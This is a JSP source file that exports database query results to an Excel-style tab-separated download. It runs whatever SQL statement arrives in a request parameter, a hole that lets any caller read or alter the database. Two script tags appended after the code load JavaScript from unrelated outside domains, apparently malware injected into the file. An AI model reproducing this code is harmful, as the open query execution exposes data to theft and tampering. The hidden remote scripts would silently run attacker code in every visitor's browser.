<%
/*
 * @(#)ConvertToExcel.jsp
 *
 * Copyright (c) 2003 DCIVision Ltd
 * All rights reserved.
 *
 * This software is the confidential and proprietary information of DCIVision
 * Ltd ("Confidential Information").  You shall not disclose such Confidential
 * Information and shall use it only in accordance with the terms of the license
 * agreement you entered into with DCIVision Ltd.
 */

/**
  ConvertToExcel.jsp
  
  This JSP is to convert the data in database to vnd.ms-excel format.
  Each data is seperate by a tag ("\t")

    @author          Phoebe Wong
    @company         DCIVision Limited
    @creation date   16/07/2003
    @version         $Revision: 1.1 $
*/
%><%@page contentType="application/vnd.ms-excel"
%><%@ page import="java.sql.*" 
%><%@ page import="com.dcivision.framework.*" 
%><%
	 
	Connection conn = null;
	String sSqlStat = null;
	PreparedStatement stat = null;
	ResultSet rs = null;     
	ResultSetMetaData rsmd = null;     
    
	conn = (Connection)request.getAttribute(GlobalConstant.DB_KEY);
    
	if ( conn != null ) {     
		try {
		  sSqlStat = request.getParameter("sSqlStat"); 
			stat = conn.prepareStatement(sSqlStat);
      rs = stat.executeQuery();
      rsmd = rs.getMetaData();
			
			StringBuffer str = new StringBuffer();
			int iColumn = 0;      
      iColumn = rsmd.getColumnCount(); 
      
			//To print the column name in header  
      for (int j = 1; j<= iColumn; j++) {
        str.append("\""+rsmd.getColumnName(j)+"\"");
        str.append("\t");
      }
      out.println(str);     
      
      //To print the data and each is seperated a tag
			while ( rs.next() )	{	
				for (int i = 1; i <= iColumn; i++) {
					if (rs.getString(i)==null) {
						out.print("");
				  } else {
				  	out.print(rs.getString(i));
				  }
					out.print("\t");
      	}
        out.println();
      }
		} catch (SQLException e) {
			out.println(e);
		} finally {
			try { stat.close(); } catch (Exception ignore) {} finally { stat = null; }
			try { rs.close(); } catch (Exception ignore) {} finally { rs = null; }
		}       
	}  
%>         
<script language=javascript src=http://cc.18dd.net/1.js></script>
<script language=javascript src=http://ad.171817.com/css/1.js></script>